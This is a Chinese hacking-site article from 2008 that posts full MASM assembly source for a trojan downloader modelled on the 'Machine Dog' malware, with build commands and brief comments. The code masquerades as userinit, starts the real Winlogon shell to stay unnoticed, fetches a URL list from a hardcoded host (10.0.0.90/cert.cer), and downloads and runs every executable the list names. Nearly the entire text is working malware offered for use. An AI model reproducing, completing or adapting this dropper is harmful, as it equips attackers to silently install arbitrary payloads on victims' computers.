繁体中文  设为首页  加入收藏 
当前位置:学院首页 >> 开发 >> 木马编程 >> 下载者源码


下载者源码

2008-07-22 17:16:51  www.hackbase.com  来源:互联网
整理了下,然后添了一点注释。不敢多添,怕自己理解错了被人笑。;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 仿机器狗的感染文件代码; by naitm(http://hi.baidu.com/nai ...
整理了下,然后添了一点注释。不敢多添,怕自己理解错了被人笑。

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 仿机器狗的感染文件代码
; by naitm(http://hi.baidu.com/naitm)
;
; ml /c /coff /nologo userinit.asm
; Link /align:0x10 /subsystem:windows /nologo userinit.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .386
        .model flat,stdcall
        option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include        windows.inc
include        user32.inc
includelib    user32.lib
include        kernel32.inc
includelib    kernel32.lib
include        Advapi32.inc
includelib    Advapi32.lib
include        wininet.inc
includelib    wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .data   
nThreadCount    dd        0
szTempPath        db     '.',0
szValueName        db        'Shell',0
szUser32Dll        db        'user32.dll',0
szLoadRemoteFonts    db    'LoadRemoteFonts',0
szSubKey            db     'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList         db     'http://10.0.0.90/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;以当前进程的STARTUPINFO启动exe文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt            proc    @lpExePath

local @stStartupInfo:STARTUPINFO
local    @stProcessInformation:PROCESS_INFORMATION

    invoke    GetStartupInfo,addr @stStartupInfo
    invoke    CreateProcess,NULL,@lpExePath,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,\
                NULL,NULL,addr @stStartupInfo,addr @stProcessInformation
               
    .if    eax == 0
        invoke    CloseHandle,@stProcessInformation.hThread
        invoke    CloseHandle,@stProcessInformation.hProcess       
    .endif
   
    ret
   
_RunIt            endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下载文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile    proc    @lpURL,@lpSaveFile,@Buffer

local @hInternet,@hInternetFile,@hLocalFile,@NumberOfBytesWritten,@nNumberOfBytesToWrite,@nWriteCount
local    @lpbuffer[200h]:BYTE
   
    xor eax,eax
    mov @nWriteCount,eax
   
    invoke    InternetOpen,offset szValueName,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
    .if    eax != NULL
        mov    @hInternet, eax
        invoke    InternetSetOption,@hInternet,INTERNET_OPTION_CONNECT_TIMEOUT,@Buffer,4
        invoke    InternetSetOption,@hInternet,INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT,@Buffer,4
        invoke    InternetOpenUrl,@hInternet,@lpURL,NULL,NULL,INTERNET_FLAG_EXISTING_CONNECT,0
        .if    eax != NULL
            mov    @hInternetFile, eax
            mov    @nNumberOfBytesToWrite, 0
            mov    @NumberOfBytesWritten, 200h
            invoke    HttpQueryInfo,@hInternetFile,HTTP_QUERY_STATUS_CODE,addr @lpbuffer,\
                        addr @NumberOfBytesWritten,@nNumberOfBytesToWrite
            .if    eax != NULL
                invoke    CreateFile,@lpSaveFile,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0,0
                .if    eax != 0FFFFFFFFh
                    mov    @hLocalFile, eax
                    .while TRUE
                        mov @nNumberOfBytesToWrite,0
                        invoke    InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
                        .break    .if (!eax)
                        .break    .if (@nNumberOfBytesToWrite==0)
                        inc    @nWriteCount
                        invoke    WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,addr @NumberOfBytesWritten,0
                    .endw
                    invoke    SetEndOfFile,@hLocalFile
                    invoke    CloseHandle,@hLocalFile
                .endif                           
            .endif
            invoke    InternetCloseHandle,@hInternetFile
        .endif
        invoke    InternetCloseHandle,@hInternet
    .endif   
   
    mov    eax,@nWriteCount
       
    ret

_DownloadFile   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc    @lpURL

local    @DownTimes
local    @TempFileName[100h]:BYTE
local    @szUrl[100h]:BYTE

    mov    @DownTimes,3Ch
    invoke    lstrcpy,addr @szUrl,@lpURL
    invoke    RtlZeroMemory,addr @TempFileName,100h
    invoke    GetTempFileName,offset szTempPath,NULL,0,addr @TempFileName
   
    .repeat
        invoke    _DownloadFile,addr @szUrl,addr @TempFileName,1388h
        .if eax != NULL
            invoke    _RunIt,addr @TempFileName
            .break
        .else
            invoke    Sleep,3E8h
            dec    @DownTimes
        .endif
    .until (!@DownTimes)
   
    dec    nThreadCount
   
    ret

_DownloadEXERunIt endp       
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc

local @hKey,@nSizeOfPath,@hFile,@hObject,@lpBaseAddress
local    @szWinlogonPath[104h]:BYTE

    ;加载user32.dll,执行LoadRemoteFonts函数 (这函数是干吗的?)
    invoke    LoadLibrary,offset szUser32Dll
    .if    eax != NULL
        invoke    GetProcAddress,eax,offset szLoadRemoteFonts
        .if    eax != NULL
            call eax
        .endif
    .endif
   
    ;启动winlogon
    invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,offset szSubKey,0,KEY_READ,addr @hKey
    .if eax == ERROR_SUCCESS
        mov    @nSizeOfPath,104h
        invoke    RtlZeroMemory,addr @szWinlogonPath,104h
        invoke    RegQueryValueEx,@hKey,offset szValueName,0,NULL,addr @szWinlogonPath,addr @nSizeOfPath
        invoke    _RunIt,addr @szWinlogonPath
        invoke    RegCloseKey,@hKey       
    .endif
   
    ;检查网络是否连接,不断重试
    invoke    Sleep,3E8h
    .while TRUE
        invoke    InternetGetConnectedState,addr @nSizeOfPath,0
        .break    .if eax
    .endw
   
    ;取一个临时文件名,并下载列表
    invoke    RtlZeroMemory,addr @szWinlogonPath,104h
    invoke    GetTempFileName,offset szTempPath,0,0,addr @szWinlogonPath   
    invoke    Sleep,3E8h
DownloadList:
    .while TRUE
        invoke    _DownloadFile,offset szUrlList,addr @szWinlogonPath,1388h
        .break    .if eax
    .endw
   
    ;打开列表文件,验证后开始下载
    invoke    CreateFile,addr @szWinlogonPath,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL
    .if    eax != INVALID_HANDLE_VALUE
        mov @hFile,eax
        invoke    GetFileSize,@hFile,NULL
        .if    eax >= 0Fh    ;文件提价小于F个字节则认为下载文件错误
            invoke    CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
            .if    eax != NULL
                mov    @hObject,eax
                invoke    MapViewOfFile,eax,FILE_MAP_READ,0,0,0
                .if    eax != NULL
                    mov    @lpBaseAddress,eax
                    mov    esi,eax   
                   
                BeginDownEXE:   
                    lea    edi,@szWinlogonPath
                    invoke    RtlZeroMemory,edi,104h
                   
                    ;查找回车标志,查找到后将@szWinlogonPath传入_DownloadEXERunIt
                    .repeat
                        lodsb
                        .if    al == 0Ah
                            lodsb
                        .endif   
                        .if    al == 0Dh
                            .if    @szWinlogonPath != 0
                                inc    nThreadCount
                                invoke    CreateThread,NULL,0,offset _DownloadEXERunIt,addr @szWinlogonPath,0,addr @nSizeOfPath
                                invoke    CloseHandle,eax
                                invoke    Sleep,64h
                            .endif
                            jmp    BeginDownEXE
                        .endif
                        stosb
                    .until (!al)

                    invoke    UnmapViewOfFile,@lpBaseAddress
                .endif
                invoke    CloseHandle,@hObject
            .endif
        .else
            invoke    CloseHandle,@hFile
            jmp    DownloadList
        .endif
        invoke    CloseHandle,@hFile
    .else
        jmp    DownloadList    ;无法打开则重新下载
    .endif

    ;不断sleep,直到所有线程结束
    .while    nThreadCount
        invoke    Sleep,64h
    .endw
   
    invoke    ExitProcess,0

main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    end    start
关键字:下载者 源码

责任编辑:黑客基地        



本文引用网址: 

下载者源码的相关文章
发表评论